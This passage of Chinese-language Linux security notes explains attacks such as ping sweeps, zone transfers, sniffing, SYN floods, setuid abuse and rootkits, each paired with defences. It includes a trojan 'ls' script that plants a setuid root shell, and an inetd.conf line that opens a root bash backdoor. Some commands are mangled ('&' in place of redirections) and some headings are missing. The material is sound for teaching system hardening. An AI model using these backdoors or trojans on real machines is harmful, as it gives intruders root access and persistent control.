其运行不稳定。因此,我们建议的把黑客从系统中清除出去的最好方法如下:
1、对重要文件进行备份。
2、完全格式化所有驱动器,(这也是对系统进行任何改变的最佳时间,例如添加硬盘或改变
分区大小,要充分利用停工期的有利条件)
3、从头安装linux版本,并且只包含那此必需的东西。
4、对已安装的软件包进行完全升级。
5、生成校验和并将之保存在安全的地方。
6、对配置文件进行必要的手工修改。不要仅仅从备份中复制这些文件,它们可能已经被改
7、从备份中复制必要的文件。
8、重新检查从备份中安装的文件,确认其没有被破坏的迹像。
9、使用另一种方法计算文件系统的校验和。
10、第一次启用网络。
对于实际或觉察到的攻击,常用的对策是取消发动攻击的机器与本机通信的能力。具体做法
有如下几种:
1、使用tcp封装器,拒绝来自黑客ip的连接。
2、使用iptables规则,退回/拒绝来自该ip地址的包。
3、创建拒绝路由表以使本机不能和相应的ip地址通信,此时,仍然可以收到来自源地址的
包,但不能响应,从而破坏相互间的通信。
4、在防火墙上创建类似的拒绝访问列表。
第三章 对机器和网络踩点
新闻组/邮件列表搜索
internet上有很多新闻组/邮件列表或论坛,是向知识渊博的人请教问题的好地方,但也可能
在完全无意识下泄露了系统信息。比如公司的网络拓扑结构,安全配置情况,电话号码,管
理员名字,个人信息等。
对所发贴子要再三审读,删除任何有可能被黑客利用的信息。或使用与系统不相关的帐号发
送邮件,比如申请的免费邮箱。
whois数据库
ping扫射是指ping指定网络中的所有ip,如果机器正在监听ip地址,就会回应ping。从而
就知道它处于活动状态。有黑客通过这种方法列出所有正在运行的机器,然后决定攻击目标。
有两种不同的ping主机方法:ICMP ping and echo ping。可以用一些工具加速ping。其中两
个最有意义:Fping and Nmap
ICMP ping方法:源机器向目的机器发送icmp echo request.如果目标机器正在运行,则会响
应icmp echo reply。
# ping -c 3 target
echo ping方法:以udp or tcp包连接到目标机器的回显端口(端口7),如果机器在运行状态,
该端口直接回显发送过来的信息。
# telnet target.example.com echo
Fping是一个直接了当的ping工具,可以在命令行列出需要ping的机器,也可以用文件方
# Fping -a & machinelist
如果要扫描整个网络(192.168.10.X),必须提供IP列表,在命令行用perl语句可以容量实
# perl -e 'for (1..254) {print "192.168.10.$_\n"}' |fping -a -q 2&/dev/null
Nmap是一种多用途的扫描工具,内置了ping扫描功能。
# nmap -sP 192.168.10.0/24
ping扫射对策
通过配置机器(iptables等)来拒绝进入的echo request包和出去的echo reply包。从而避免
响应icmp echo request。关闭本机回显服务。在/etc/inetd.conf中注释掉以下两行
echo stream tcp nowait root internal
echo dgram udp wait root internal
再重启inetd。
在linux上,最好的dns服务器是bind,它有几个版本,如果你是先锋派,bind9.x是最佳选择,
4.x是最稳定版本,8.x则是一个不错的过滤,大部分站点都是用这个版本。请保持bind的
版本是最新,最为它的安全漏洞较多,而且一旦发现漏洞,就会很被黑客利用。
尽量不要在配置文件中包含hinfo and txt信息。
一般情况下,为了保证dns总是可以,每个域中,都有一个主dns机器,而其它都是次级dns,
每当dns区域发生变化时,次级dns机器就从主机器复制全部内容。系统成为次级dns的方
法是在named.conf中添加如下内容:
zone "expample.com" {
file "slave/expample.com";
masters {xxx.xxx.xxx.xxx};
但是黑客也可以攫取区域文件(如果没有采取措施),下例给出使用host命令列出整个域中
所有NS,A和PTR记录的方法。
# host -t ns example.com
# host -l example.com
配置主名字服务器时,使之不允许除次级服务器外机器的区域传送。在全局默认选项中设置
allow-transfer {xxx.xxx.xxx.xxx};
警告:必须确保在主和从服务器上都禁止区域传送,因为从服务器也能接受区域传送请求。
任何未经授权的区域传送都会被syslog记录下来。
反解析是指从ip到域名的过程。可以用host命令实现。如果大量使用真实的主机名,会给
黑客知道机器的功能。所以最好在PTR记录中使用一般的反解析名如:
xxx-xxx-xxx-xxx.example.com.
黑客会运行一个或多个端口扫描工具来了解目标系统提供的服务。工具主要有
netcat,strobe,nmap(best)。玩转nmap可以学到很多东西。包括自已的系统,也包括网络方面。
网络漏洞扫描程序
iss,satan,Nessus
加密文件系统
CFS,TCFS,BestCrypt,PPDD,Encrypted
第四章 社交工程、特洛伊木马和其他黑客伎俩
第五章 物理攻击
物理攻击小结
1、不要把口令或访问ID记在别人可以看到的地方。
2、不要把电话本,组织结构图,备忘录,内部手册,会议安排或内部安全策略遗忘在容量
被阅读或偷窃的地方。
3、在丢弃打印文档,电子介质或客户数据时必须谨慎从事,把敏感材料标记为“敏感”,在
处理前粉碎敏感的文件和手册。抹去电子介质中的数据,并且把所有的垃圾箱放置在照明状
况良好的保护区域。
4、在标记网络设施时必须谨慎。将这些信息记录在清楚的网络图中,并将其锁起来。
使用好的屏幕保护程序,确保带有口令,并且在运行时隐藏屏幕内容。将延迟时间设置
为合理值---在合理时间后就运行它。
6、必须离开系统时,锁定屏幕。
使用便携机时,必须尽可能在所有时间都将其带在身边。对窃贼的那些把它从你身过分
开的诡计保持警惕。对进入工作场所的每个便携机贴上标签,在带离时对其进行安全检查。
8、避免使用双重启动系统,linux的安全性取决于机器中安装的安全性最差的系统。
9、在启动加载时程序中设置保护口令,防止可能获得root权限的非法重启方式。
10、设置BIOS口令,以防止其被修改。
11,将所有敏感系统放在加锁的房间,以防止破坏。
12、使用好的加密文件系统可以防止那些获得系统权限的人看到机密数据。这应当作为安全防卫的底线。
第六章 网络攻击
合法的tcp标志组合
这是tcp连接的第一个数据包,表示希望与目标系统建立连接。
目标系统通过确认原始消息和发送SYN信息来响应SYN数据包。
在连接建立期间的每一个数据包都要设置其ACK位,以确认前面收到的数据
在连接准备关闭时,发送FIN给对方。
这一组合用于确认第一个FIN包,并完成关闭步骤。
当系统接收到不期望的数据包时,发送RST包重置连接---例如,系统在未发出SYN
的情况下收到SYN|ACK。
ICMP类型代码
回波响应(响应PING)
目的地址不可到达
回波(PING请求)
请求时间戳
响应时间戳
地址掩码请求
地址掩码响应
攻击错误配置的NFS导出
为了保护文件系统不被非法访问,应当让防火墙阻塞NFS,通过阻止对NFS(2049端口)
的进入连接可以做到这一点。如果内部确实需要,确保它只导出必需的文件系统。例如,在
允许远程加载用户主目录时,使用/home 替代/。为了验证是否正确配置了NFS,检查
/etc/exports和/etc/dfs/dfstab以确信没有以读写权限向外导出任何东西。
攻击Nestscape默认配置
SuiteSpot是一个工具用于管理web服务器,其中包含实现这一功能的java and javascript code.
它将Nestscape服务器的用户名和口令配置保存在服务根目录下的文件中,默认可被任何人
读取。位于/web_server root/admin-serv/config/admpw。在网络上使用web浏览器并将url指
向该文件,就可获得。文件格式为user:password。虽然这个文件是加密的,但可以对口令进
行蛮力攻击。所以应保护admpw文件,
攻击配置错误的Squid服务器
Squid可以被错误地配置成允许外部地址作为访问内部系统的代理。这使攻击者能够以该服
务器为代理来察看或访问内部网络,即使其地址不能被路由。squid.conf文件的一个错误配
tcp_incoming_address &squid system external address&
tcp_outgoing_address &squid system internal address&
udp_incoming_address &squid system external address&
udp_outgoing_address &squid system internal address&
首先设置正确的防火墙规则以阻塞外部地址对端口3128(代理端口)的连接。然后编辑配
置文件,确信下面这些内容的正确性。
tcp_incoming_address &squid system internal address&
tcp_outgoing_address &squid system external address&
udp_incoming_address &squid system internal address&
udp_outgoing_address &squid system external address&
x windows system
它使用端口6000---6063
攻击错误的X 配置。xhost工具用于保障X的基本安全性,用户可以使用这一程序指定允
许连接本地X服务器的系统。如果不带参数执行,则列出所有允许连接的系统,可以通过
如下命令添加新和系统。
# xhost + &system name&
如果省略system and name,则任何系统都可以建立连接。这样入侵者可以通过xkey程序记
录用户在X窗口介面上的所有击键序列。另一个类似程序是xscan,可以扫描网络以查找X
系统的漏洞。
主要是在防火墙上阻塞端口。
# ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0
如果不允许阻塞,可以-auth参数启动xinit程序。则系统将在认证时使用“magic cookies”。
或者以ssh传送X会话。使用X11的ssh时,远程root用户对本地X服务器拥有全部权限。
在双方信任时才使用X11的ssh。
red hat提供的用于linux 服务器的Prianha虚拟服务器和平衡软件包。在Prianha-gui程序的
0.4.12版中存在一个名为prianha的帐号,其默认口令为q。
对策是修改所有系统和网络设备的默认口令。
嗅探网络信息
嗅探器工作时,将网卡设置成所谓的混杂模式,在该模式下,网卡会将每个帧的数据都传送
给协议而不检查其MAC地址。这样,系统中的嗅探器就能够检查帧中的数据,并摘取感兴
趣的信息。其中包括报头信息或其它信息,如口令和用户名。很多协议以未加密方式发送敏
感信息,因此黑客就能够使用嗅探器获是系统的访问权限。如telnet,ftp,http中的口令和用户
名都直接在网络上传播,此外,一些基于web的管理工具也以一般的http协议来传送用户
名和口令,例如webmin就是这样的。避免受到嗅探器危害的最好办法是不要在网络上以未
经加密的方式传送用户名和口令,通过使用ssh 代替telnet,用https代替http传送敏感信息
可大大加强安全性。
常见的嗅探器
tcpdump,hunt,linux-sniff,snort
在大多数linux中,口令长度被限制在8个字符。如果只能使用小写字母,则总畏惧26的8
次方(大约2090亿)种组合,如果允许使用大写字母和数字,则有62的8次方(大约218
万亿)种组合。
保护系统帐号,关闭finger and rwho服务。限制root只能从控制台登录。可以通过修改
/etc/securetty文件做到这一点。这个文件列出了root可以登录的tty(终端),在该文件中只
包括tty1--tty6,就能限制root只能从控制台登录。如果从该文件中删除所有行。则任何人
在获得root权限前必须首先以其他用户登录,然后使用su。修改/etc/login.def中的最小口令
缓冲区溢出漏洞
当开发者在程序中采用错误的方法编写操作代码时,则可能导致缓冲区溢出。罪魁祸首多半
是标准C语言中的字符串函数。例如strcat(),strcpy(),sprintf(),vsprintf(),scanf() and gets()。这
些函数在执行前不检查参数的大小。常见的攻击所针对的程序有
rpc.mountd(nfs),rpc.statd(nsf),imapd/popd,wu-ftp。一旦对系统尝试了缓冲区溢出攻击,通常会
从日志消息中看到这类行为。
对于不必要服务,关闭它们,或者在防火墙阻塞对其访问。如果服务是必须的,就只有一个
对策,就是使系统应用最新的补丁。
netstat,lsof工具能识别系统中运行的进程序,打开的端口等信息。但这些程序都不可靠,可
能会被黑客替换。可以用nmap从外部扫描系统以训别服务,因为从外部扫描,所以不会被
黑客在系统中所做的手脚所欺骗。
# nmap -sT -O xxxx
对本系统进行tcp扫描。
# nmap -sU -O xxxx
对本系统进行udp扫描。
第七章 恶意使用网络
bind缓冲欺诈
dns是一个分布式系统,使用缓存来降低网络负载,在BIND8.1.1 和4.9.6版中存在一个问
题,即它们没有验证接收自其它名字服务器的信息的合法性。黑客利用这个漏洞可以在目村
服务器中插入伪造记录,引导客户到黑客的机器上来。从而捕获口令和敏感信息。
源路由,允许发送者指定数据包到达目的地前在internet上经由的路径。这一特点对于网络
勘探很有用,但也能用来绕过安全网关和地址转换。
# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
0 表示不允许
1 表示允许
不正确的ip转发
/proc/sys/net/ipv4/ip_forward文件配置ip转发。0 表示禁止
1 表示允许。这个功能对于防
火墙和ip伪装网关是必要,但对于名字服务器,邮件服务器或堡垒主机则不必要。可能如
# echo 0 & /proc/sys/net/ipv4/ip_forward
/etc/sysctl.conf的 net.ipv4.ip_forward = 0控制系统
启动时是否允许。
同时具有数据包嗅探和会话劫持功能。
采用openssh。
是一组优秀的网络审计,测试和嗅探工具。
对客户端伪装成ssh服务器,而对服务器伪装成ssh客户端,默认时,它将记录所有用户名
sshmitm依赖于用户忽略对ssh主机密钥的检查,当第一次连接服务器时,将会在
$home/.ssh/known_hosts中添加主机密钥。应当比较这份密钥与实际服务器密钥(通常在文
件/etc/ssh/ssh_host_key.pub or /etc/ssh_host_key/.pub中)的一致性。如果两者不匹配,则说
明黑客已经介入过刚才的会话。并获得了口令,应马上断开连接,并通知系统管理员重新设
置口令,以防止帐号被黑客滥用。为了防止在无意中使用潜在不安全连接,应配置ssh进行
强制的主机密钥检查。即将如下几行写入到$home/.ssh/config的起始处。
StrictHostKeyChecking yes
也可以将系统的全局ssh_config文件配置成StrictHostKeyChecking.
目前,Sshmitm仅支持ssh版本1,但并不保证支持ssh版本2的软件不在开发中。
它的工作方式和sshmitm很相似,它监听端口80(http),和443(https)。中继对于实际服
务器的web请求。并将结果返回给客户端。因为webmitm没有真实的ssl服务器证书和密钥,
所以必须伪造一个。因此,当第一次运行webmitm时,它将生成一个与openssl相关的ssl
密钥和证书。当用户连接https站点时,其浏览器将试图验证所得到的ssl证书,而webmitm
服务器所创建的证书未经浏览器数据中保存的某一可信官方机构颁发签名。因此浏览器将弹
出一系列对话框,以确认用户是否要连接到可能的欺骗站点。如果用户点击并忽略所有警告,
就能够像一切正常那样访问web站点。然而,该会话实际上流经webmitm程序,使用其能
访问所有数据。
和sshmitm一样,比技术问题更重要的是用户培训。当浏览器给出众多Are you sure?这样有
价值的提问时,不要简单的点击Yes。
SYN潮涌攻击
根据tcp/ip协议的规定,在收到最初的SYN数据包时,服务器TCP协议栈将相应的半连接
记录添加到队列里。然后等待一会以接收余下的握手数据包。如果成功则从队列中删除该记
录。由于队列容纳半连接记录的数量有限,因此如果许多初始化的连接最终没有成功握手。
就会出现问题,一旦队列已满,服务器将不再接收新的连接。当攻击者能够以足够快的速度
向目标服务器发送SYN数据包以填满该队列,就能够阻塞任何tcp服务。这就是SYN潮涌
攻击。如果web服务器不再接受请求,或者甚至连本地连接也变慢,就应使用netstat -nat 来
检查处于SYN_RECV半连接状态的连接。一旦发现系统正受SYN攻击。可以用如下shell
脚本跟踪半连接数量:
while [1] ; do
echo -n "half-open connectons:"
netstat -nat |grep SYN_RECV|wc -l
如果为零,说明攻击者放弃了。如果发现数目达到最大值并趋于平衡,就很不幸了,队列可
能已经满了。
升级到2.0.29以上版本,在这些版本中增加了队列容量。并缩短了超时值,从而更加难以填
满。此外,修改/proc下的某几项,以缩短等待SYN|ACK的超时时间并增加队列中SYN数
据包的最大数目。
/proc/sys/net/ipv4/vs/timeout_synack
/proc/sys/net/ipv4/vs/timeout_synrecv
/proc/sys/net/ipv4/tcp_max_syn_backlog
在受攻击中,可以增加tcp_max_syn_backlog的值,减少timeout_*的值。改变这些值会导致
丢失合法连接,但是如果不对SYN攻击采取措施,系统将失去所有连接。
实施出口过滤
很多攻击方法都是依赖ip地址欺骗,以掩盖攻击策源地或将响应流量引导到实际并没有发
出请求的主机,出口过滤(egress filtering)是阻止欺骗的最重要途径。一个连接不同网络的
路由器应该检查所有的外出流量,只有当数据包拥有相应的本地网络合法地址时才允许它通
过。这看起来理所当然,但确实有许多网络允许任何源地址的数据包通过。
第八章 提升用户权限
setuserid程序以所有者id而不是以使用者id的权限运行。
setgroupid程序以组id权限而不是调用者id权限运行。
在path中包括“.”的坏习惯
在path中包括“.”可以减少用户的击键次数,以foo 代替 sh foo或./foo。这些做法有很大
的危险。例如,在/tmp中创建如下的ls文件。
#!/bin/sh -
#fake trojan ls
if chmod 666 /etc/passwd & /dev/null 2&&1 ; then
cp /bin/sh /tmp/.sh
chmod 4755 tmp/.sh
exec ls "$@"
#end of script
如果在环境变量中设置了“.”,并且其位置先于ls所在的系统目录,那么当用户在/tmp中执
行命令ls时,执行的是上面所给出的脚本,而不是实际的ls命令。因为最终还是执行了ls,
所以用户不会看出任何异常。如果执行该命令的是root,就会将口令文件设置成为可写,并
将shell复制到/tmp保存成.sh,同时设置其setuserid位。所有这一切都非常安静地发生。在
登录时可以在多个地方修改path,例如/etc/profile or /etc/profile.d中的脚本。手工修改较麻
烦,且容易出错。建议在bashrc 或.profile文件的未尾加如下一行:
PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`以删除路径中所有“.”,包括其另一形
明文的口令
去掉用户文件中的的口令,如fechmail中的控制文件。如果必须那样做,应确保文件只能被
所有者读取,而不能被组成员或其它人读取。
存储在系统文件中的口令
有些系统程序可能需要存储在系统文件中的口令,例如samba软件包内有一个smbprint的
工具,允许linux使用与windows相连接的打印机。通常
对于拔号上网用户,链接所需的用户名和口令通常保存在某个文件中,一般ppp将在
/etc/ppp/chap-secrets文件中查口令,而Wvdial则在/etc/wvdial.conf中查找。使用chmod 600
filename来限制文件。使用只能被root读取。
使用用户名和口令来控制这种对打印机的访问。要保护保存的smbprint口令,必须确保并
非所有用户都能读取/var/spool/lp下的每个config文件,在/var/spool/lp目录下查找所有
的.config文件,对每个文件执行chmod o -rw。
可逆的口令
pop3通常以纯文本格式在网上传输用户名和口令认证信息。这不是一件好事,一人替代方
式是使用名Popauth的认证方法。Popauth将所有口令以某种可逆的加密方式处理后保存在
数据库中。如果攻击者能够访问该数据库,则系统中所有用户和口令将受到威胁。如果可能,
就不要使用popauth,许多pop3客户端支持ssl加密方式,尽可能使用ssl加密为用户的认
证提供保护,如果必须使用popauth,则要确保/etc/popauth只能被root读取。
命令行中的口令
某些实用工具,例例如smbmount and smbclient,允许通过命令行或环境变量传递口令。这
样可以通过使用ps命令或者直接读取/proc下的文件来获得口令。所有输入命令都会保存在
shell历史文件中.bash_history。无论如何都要避免在命令行输入口令。并且周期性于清除历
史文件,以避免命令和安全信息的长期积累。如果要运行某些不想被记录的命令,可以反置
环境变量中的hisfile以关闭历史记录功能,然后打开一个新的shell。
可写的组许可
一个主组的成员被入侵,会增加组中其它成员的安全威胁。每个用户应该有自已惟一的主组,
并且该组只有他一个用户,然后所有的用户在创建文件时都使用这个惟一主组,除非修改了
组所有权,通过次级组来解决共享文件的访问的问题。用户的umask设置应当严格设置为
安全值,以避免文件创建后就能够被默认组所读写,将umask设置为066就可以保证文件
创建后只有所有者才有读写权限。而组成员和其它人都不能读写该文件。在极端的情况下,
可以使用077的umask。这一默认umask使得文件只能被root或者root权限的用户访问。
特殊用途组和设备访问
攻击者通常在/dev下查找许可设置不当的设备,他们能够利用这些情况来访问内存,磁盘或
串行调协。并以此为基础,进一步入侵系统和敏感文件。例如,通过/dev/kmem可以访问内
核存储区,对该文件有读权限的攻击者就可以从中读取系统当前使用的任何数据。如果磁盘
分区(如/dev/hda1)可读,则攻击者就能够读到原始的磁盘数据。她可以使用/sbin/dump直
接得到该分区下所有文件的拷贝。变这样可以绕过所有的文件许可。而且所有文件,包括
/etc/shadow等文件都可以读取,而不需要root权限。如果用户需要访问只有root才有权访
问的特殊设备文件时,应当考虑使用Sudo。
它是系统上一个特殊的组,在启用wheel组的系统中,只有该组的成员才能su成root,即
使root口令被破解,如果用户不是wheel组成员,就不能运行su而进入root。对于远程root
登录,将这一制约手段和/etc/securetty文件相结合,可以增强系统安全性并保护最重要的root
帐号。使用它的缺点是它为攻击者确定那此更有价值和权限的帐号提供了线索。即使预定义
了wheel组,多数linux系统并不自动启用wheel组的访问控制功能 。对于支持pam的系
统,只要在适当的pam控制文件中(/etc/pam.d/su)添加pam_wheel行,就可以支持wheel
sudo是一个常用工具,用于分担管理员的某此权限。使用sudo,可以允许特定用户执行通
常必须是root用户才能运行的特定管理任务。例如,可以授权某此用户添加,删除或修改
用户或它们自已的口令。
sudo更改口令
通常,根据系统管理员授权,普通用户能够运行passwd命令,运行该命令时,该用户能修
改任何口令,包括root,这显然是一个问题,我们应该创建一个前端脚本以检查与口令相对
的用户名确认其修改的合法性。一般而言,系统用户的id号要小于某个预设值(通常是200
或500)。如果试图修改的id号小于最小值,脚本应当产生一个错误。根据系统策略,这个
脚本也应该检查和保证所更改的用户未被锁定并且拥用合法的shell。
sudo编辑器操作
通常,用户用权权访问的配置程序可能会运行编辑器,例如crontab -e -u user。因为我多数
这类程序允许通过环境变量VISUAL OR EDITOR设置默认编辑器。所以可以运行几乎所有
程序。应当把编辑器限制在众所周知的范围内,如vi,ed or emacs。但编辑器同样可以执行
shell或外部命令。因为编辑器以root运行,所以任何程序只要运行在由该编辑器得到的shell
中,都将拥用root权限。对该问题的最佳解决方法是当编辑文件时,应当文件锁定并复制
到普通用户能够以最小权限编辑的安全位置。然后用户再编辑这个临时文件,而不会危及受
保护的系统文件。在编辑完成后,确保没有改动受限区域,并且所做改动与文件结构和系统
要求一致,之后再将所修改文件复制到原始文件并解锁。
sudo带来的其它程序漏洞
chmod,允许开发者将目录设置为可写以完成工作。攻击者可以直接运行chmod 666
/etc/passwd /etc/shadow,并随心所欲地创建或修改帐号。
chown,允许某公共区域(如某个web文档树)的开发者获得其他开发者的文件的控制权。
攻击效果同chmod。
tar/cpio,允许用户创建文档及备份。攻击者可以用于抽取文件,以替换系统的执行文件或
配置文件。
mount,允许用户加载远程文件系统。攻击者能够用于加载包含setuserid程序的文件系统,
从而使用攻击者获得系统权限。
useradd,允许可信用户创建新帐号。攻击者可用于创建新的root级帐号。
rpm,安装rpm软件包。攻击者用于降级系统的软件,使其包含能够被攻击者利用的漏洞,或
者用来安装使用攻击者获得root权限的rpm软件包。
创建sudoers文件时,应当详细地设置允许运行的程序及其参数。下例配置两个组,
httpd_restricted组中的用户运行apachectl程序时只能指定start和stop选项。而httpd_full组
成员能运行所有被支持的选项。
User_Alias
httpd_full = king,ryan,chris
User_Alias
httpd_restricted = guest,tax
Cmnd_Alias
apachectl = /etc/apachectl *
Cmnd_Alias
web_restart = /etc/apachectl start,/etc/apachectl stop
httpd_full
ALL=(ALL) apachectl
httpd_restricted ALL=(ALL) web_restart
通过显式列出参数防止用户对程序的自由使用,避免了使用不当的情况。应当使用谨慎设计
的前端脚本来验证参数。在脚本中应当检查path,libpath and editor等敏感的环境变量。必须
给出绝对路径,以避免特洛伊木马攻击。
格式字符串攻击
问题出在现在程序员使用类似于*printf() or syslog()等支持格式化输出的函数打印简单字符
串的场合,正确的方式应当是:
printf("%s",str),然而,为了节省时间和少打6个字符。许多程序员转而输入如下省略第一个
参数的命令:printf(str)。
setuserid的一般预防
使用chattr +i将所有setuserid程序设置为不可修改,同时设置所有的系统程序和目录不可修
改。在/bin,/usr/bin,/sbin,/usr/sbin,/lib等目录下的文件很少变化,因此当它们变化时,管理员
必须知道。如果可能,对/,/boot,/usr,/var,/home使用单独分区,设置系统目录为只读,并使
用类似于linux入侵检测系统(LIDS)等安全性增强工具来阻止入侵者重新以读-写方式加
载只读分区。删除或去掉没用的setuserid程序。
已加载文件系统上的黑客setuserid程序
用户用mount加载驱动器、设备、文件和远程文件系统,当把有setuserid程序的NFS程序
加载到本时这样会产生问题。要防止加载文件系统上的setuserid文件。任何远程文件系统
或本地文件系统都应以nosuid标志加载。也可以在不可信的文件系统上设置noexec标志。
以阻止其上任何程序的运行。如果想要运行其中的程序可以复制到本地文件系统,然后运行。
这不仅有助于防止权限提升类型的攻击,也能够对付setuserid的perl脚本。并减少蠕虫和
自繁殖程序通过网络传播。
硬链接和符号链接
任何必须创建临时文件的程序应当使用那此文件存在时来会重复创建的函数,对于系统调用
open(),可以使用O_EXCL参数做到这点。
open("/tmp/filename",O_EXCL|O_CREAT|O_RDWR,0666);
在perl中,可用sysopen命令实现:
sysopen(HANDLE,"/tmp/filename",O_EXCL|O_CREAT|O_RDWR);
在shell脚本中,使用mktemp实用工具:tmpfile=`mktemp /tmp/filename.xxxxx`||exit 1
commands & $tmpfile。
如果想要更高的安全必一,可以安装solar designer开发的linux内核补丁,位于
http://www.openwall.org,该补丁能够阻止对/tmp目录下文件的符号链接和硬链接攻击。用户
只有在拥有实际文件或读写权限的情形下,才能够在/tmp下创建链接。应用好的分区习惯,
如/home,/var,/tmp,/usr,/boot,/这样的分区规则。确保普通用户对除/home and /tmp目录之外的
所有其他分区都没有写权限。这能够防止建立对系统文件如/etc/passwd and /bin/ls的硬链接。
脚本应总是验证其输入参数,以确保其中没有包含非法的字符和shell元字符。这些参数不
能包括可能引起意外解释的空白字符,shell控制符和元字符。这一规则适用于所shell脚本,
也适用于那些不明智地使用system()函数的C程序。脚本还应当屏蔽对IFS的修改。或者在
执行传入参数和正确性检查前将IFS设置为安全值。
第九章 口令破解
DES(Data Encryption Standard 数据加密标准),linux中crypt(3)实现des的功能,它有两个参
数,key and salt,key是用户的口令,salt是从[a-zA-Z0-9./]中选择的长度为2的字符串,用
户口令最长不能超过8字符。DES的开发得到美国政府的部份支持,所以不能向美国之外
地区输出。
MD5算法是一种散列算法,在很多方面改善了DES,无限长口令;更大的密钥空间,远比
13字符长;可输出来美国之外地区。
口令破解程序
crack,john the ripper,viper,slurpie
1、自已运行口令破解程序,找到机器中存在的弱口令。
2、确保口令文件不是可读的。
3、经常检查日志文件。
4、使用阴影口令。
/etc/shadow,只有root可读。格式如下:
1、用户名;
2、口令密文;
3、口令最后修改日期与日的相隔天数;
4、离用户允许修改口令还剩下的天数;
5、离用户必须修改口令还剩下的天数;
6、离系统提醒用户必须修改口令还剩下的天数;
7、用户仍可修改口令的剩余天数,否则到期之后该帐号被禁止。
8、保留字段。
启用阴影口令
pwck----检查/etc/passwd完整性
pwconv----转换到阴影口令。它根据现有的/etc/passwd文件创建/etc/shadow文件,如果系统
中已经存在该文件,则将被合并。此外,在成功转换后,仍可能在/etc/passwd中添加普通未
加阴影的帐号。因此,需要定期检查/etc/passwd的内容以确保所有的口令都已阴影化。
pwunconv----去除阴影。
chage命令,判断用户是否必须更改口令。执行时使用-M选项可以强制用户在指定期限之
后更改口令。
两次更改口令之间的最小天数。
口令有效的最大天数。
口令最后修改日期与日的相隔天数。
口令过期之后,帐号禁用之前的休眠天数。
expiredate
帐号禁用的起始日期。
在用户必须修改口令之前开始提醒用户的天数。
其它实用程序
往组中添加新用户。
创建新组。
修改组信息。
设置密码。
创建新用户。
删除用户。
修改用户信息。
创建强状口令的规划,至少各有一个字符来自于这些字符集:a-zA-Z0-9标点符号。如果使
用des,使用6--8个字符,如果使用md5,使用任意长度的字符,长于15位更好。在不同的
系统上使用不同的口令,但会非常难于记住,一个解决办法是使用PGP和强口令对该文件
passwd+程序能强制用户使用健壮的口令。
npasswd,anlpasswd都是优秀的口令检查程序。
使用一次有效的口令。OTP的SeureID,S/Key,OPIE
小结口令保护方法:
1、实现阴影口令。
2、使用md5取代des.
3、实施好的口令策略,包括在用户创建新口令时进行测试,强制用户采用健壮的口令。
4、定期运行口令破解程序,以发现系统中的脆弱口令。
5、考虑使用口令期限和一次有效口令。
6、决不把口令告诉不认识的人。
第十章 黑客保持通道的方法
基于主机的认证和用户访问
修改hosts.allow and hosts.deny
有多个网络服务使用/etc/hosts.allow文件来确定哪些客户端被允许连接。如果服务不接受来
自该主机的连接,则在tcp握手完成之后将即刻关闭连接,而不发送或接收任何数据。也就
是说,该服务能够对来自该主机此类连接的攻击完全免疫,因为黑客没有机会发送数据以做
出破坏。/etc/hosts.deny文件中的内空通常应该是"ALL:ALL",表示所有没有在hosts.allow
中列出的机器都将被拒绝。只要删除该行(例如:cat /dev/null &/etc/host.deny),黑客就可以
连接所提供的服务。
使用文件完整性工具监视两个文件。同时考虑使用chattr +i命令将它们设置成不可更改。
不安全的nfs导出
导出"/"本身,黑客不用登录就可以修改目标主机上的所有文件。
关闭远程命令,即将以下行从/etc/inetd.conf中注释:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
安装ssh后,应当使用文件完整性工具监视如下所有文件:
/etc/hosts.equiv
/etc/shosts.equiv
/home/*/.rhosts
/home/*/.shosts
/etc/sshd_config
/ect/ssh_known_hosts
向inetd添加root shell
创建一个网络可达的root shell的一种简单方法是在/etc/inetd.conf文件中添加一条记录。假
设在被侵入的系统中没有使用ingreslock端口,这样,黑可以将如下一行添加到/etc/inetd.conf
ingreslock stream tcp nowait root /bin/bash -i
给定-i参数,/bin/bash将创建一个交互的
shell。这样,只要连接到系统的ingreslock端口,黑客就能直接执行命令。因为这不是一个
实际的tty(该连接通过某个网络套接字)。所以它不如任务控制台好用,但仍然能够运行任
运行文件完整性检查工具。配置防火墙只允许来自所需端口(ssh,smtp and http)的进入连接。
使用chattr +i命令。甚至一个更好的办法,即根本不运行inted。通过inted提供的大部份服
务都不是必需的。
木马化程序是黑客在取得主机控权后,利用编程技术,把一样常用程序如ls,netstat等进行修
改重新编译,从而达到控制,隐藏等目的。
lrk--linux root kit 提供大量木马化程序如du,find,ls,ifconfig等。
RKdet和CHKrootkit是两个检测lrk的工具。
可装载内核模块。利用完整性检查发现安装的新模块和修改现有模块的时间,对/lib/modules
目录树限制许可以及应用chattr +i命令。使用类似LIDS内核补丁,并进行适当配置,使得
即使root也不能在/lib/modules下安装文件或装载内核模块。
内核本身如果被入侵,麻烦就大了,在新内核运行时,管理员不能相信与系统相关的任何信
息。包括文件和进程列表,网络链接,磁盘和CPU统计,以及/proc。必须马上开始第二章
所介绍的系统恢复过程。
第十一章 服务器安全问题
mail安全性
Mail User Agent(MUA)邮件用户代理,如Mutt,Pine,Elm。用户使用这些程序编辑和阅读邮件。
Mail Transfer Agent(MTA)邮件传送代理,如sendmail,qmail,postfix。主要功能是在多台机器
之间转发邮件。
Mail Delivery Agent(MDA)邮件分发代理,是用户介面和MTA之间的中介,它从MTA中取
回邮件并放置在本地收件箱,或者把发件箱中的邮件传给MTA。这方面的程序有mail.local
and Procmail。
安全问题绝大多数和MTA有关。
在互联网上大约75%的邮件服务器上运行。
1988年,Morris的internet蠕虫就利用它的WIZ命令,它使用任何用户能立即获得root权
限。然而,近来,它已变得相当稳定,这很大程度归功Sendmail Inc的成立。该商业组织现
在负责Sendmail的开发工作。
为了保证安全一个必须采取而且绝对重要,即订阅所选择的邮件服务器的安全问题邮件列
表,并随时准备在必要时升级。
邮件服务器的最大问题是它需要绑定端口25,因此必须以root启动。只要服务器中发现漏
洞,黑客就有可能立即获得root权限。Postfix and Qmail不以root运行,它们都使用一个单
独的进程绑定25端口,该进程把所建立的连接立即转交给独立的smtp程序,这个程序永远
都不以root运行。这两个程序都不存在root类漏洞。sendmail在sendmail.cf文件中提供
RunAsUser选项,如果设置了该选项,sendmail守护进程在读取和分发邮件时会先成为指定
用户。这也意味着必须修改相应的文件。使用该用户对它们有读权限,这些文件包括队列目
